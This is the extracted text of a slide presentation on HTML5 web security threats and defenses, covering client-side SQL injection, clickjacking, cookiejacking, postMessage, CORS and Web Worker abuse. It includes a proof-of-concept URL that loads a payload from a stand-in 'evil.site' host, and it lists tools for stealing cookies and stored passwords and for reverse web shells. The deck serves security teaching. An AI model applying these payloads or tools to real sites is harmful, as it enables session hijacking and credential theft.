  • 22. Store shellcode
  • 23. SQL Injection  Use sqlite_master ▪ SELECT name FROM sqlite_master WHERE type='table' ▪ SELECT sql FROM sqlite_master WHERE name='table_name' ▪ SELECT sqlite_version()  Select with ? ▪ executeSql("SELECT name FROM stud WHERE id=" + input_id); False ▪ executeSql("SELECT name FROM stud WHERE id=?", [input_id]); True
  • 24. Drag and drop basics  Drag Data  the drag feedback image  drag effects  Drag events:  dragstart  dragenter  dragover  dragleave  drag  drop  dragend
  • 25.
  • 26. ClickJacking  XSS + Drag
  • 27.
  • 28. CookieJacking  Use many technology to steal user’s local cookies  Technology  How to read the local fileiframe+file://  How to detect the state of cookies Clickjacking  How to send cookiesSMB
  • 29.
  • 30. Defense  Use iframe with sandbox  If (top !== window) top.location= window.location.href;  if (top!=self) top.location.href=self.location.href
  • 31. postMessage  Send ▪ otherWindow.postMessage(message, targetOrigin);  Receive window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... }
  • 32.
  • 33. Defense  Check the postMessage origin  Don’t use innerHTML ▪ Element.innerHTML=e.data;//danger ▪ Element.textContent=e.data;//safe  Don’t use Eval to deal with the mesage
  • 34. Cross-Origin Resource Sharing ▪ Originally Ajax calls were subject to Same Origin Policy ▪ Site A cannot make XMLHttpRequests to Site B ▪ HTML5 makes it possible to make these cross domain calls ▪ Site ASite B(Response must include a header) ▪ Access-Control-Allow-Origin: Site A Must ▪ Access-Control-Allow-Credentials: true | false ▪ Access-Control-Expose-Headers: ▪ etc
  • 35.
  • 36.
  • 37. Defense  Don’t set this: Access-Control-Allow-Origin: * ▪ (Flash crossdomain.xml )  Prevent DDOS ▪ if(origin=="Site A"){header(Access-Control-Allow- Origin:Site A)……//process request}
  • 38. Code like this: <html><body><script> x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html>  POC  Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php  VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div>  New type of XSS!!
  • 39.
  • 40. Web Workers  running scripts in the background independently  Very simple var w = new Worker("some_script.js"); w.onmessage = function(e) { // do something }; w.terminate()  Access ▪ XHR,navigator object,application cache,spawn other workers!  Can’t access ▪ DOM,window,document objects
  • 41. Attack  Botnet ▪ Application‐level DDoS attacks ▪ Email Spam ▪ Distributed password cracking  Network Scanning  Guessing User’s Private IP Address ▪ Identify the user’s subnet ▪ Identify the IP address
  • 42. COR+XSS+Workers=shell of the future
  • 43. HTML5CSdump  enumeration and extraction techniques described before to obtain all the client-side storage relative to a certain domain name  JS-Recon  Port Scans  Network Scans  Detecting private IP address
  • 44. Imposter  Steal cookies  Set cookies  Steal Local Shared Objects  Steal stored passwords from FireFox  etc  Shell of the Future  Reverse Web Shell handler  Bypass anti-session hijacking measures
  • 45. Ravan  JavaScript based Distributed Computing system  hashing algorithms ▪ MD5 ▪ SHA1 ▪ SHA256 ▪ SHA512
  • 46.  HTML5 带来的新安全威胁:xisigr  Attacking with HTML5:lavakumark  Abusing HTML5:Ming Chow  HTML5 Web Security:Thomas Röthlisberger  Abusing HTML 5 Structured Client-side Storage:Alberto Trivero  Cookiejacking:Rosario Valotta  http://heideri.ch/jso/#html5  http://www.wooyun.org/bugs/wooyun-2011-02351  http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and- dom-l3-top-10-attacks.html  http://www.html5test.com
  • 47. http://hi.baidu.com/xisigr/blog/item/aebf0728abd960f299250abe. html  http://blog.whatwg.org/whats-next-in-html-episode-2-sandbox  http://code.google.com/intl/zh-CN/apis/gears/api_database.html  http://michael-coates.blogspot.com/2010/07/html5-local-storage- and-xss.html  http://www.w3.org/TR/access-control/  http://m-austin.com/blog/?p=19  https://developer.mozilla.org/en/  http://www.w3.org/TR/cors/  http://www.andlabs.org/tools/ravan.html  http://www.gnucitizen.org/blog/client-side-sql-injection-attacks/
  • 48. Contact Me  email:youstar@foxmail.com  Site:  www.codesec.info  www.insight-labs.org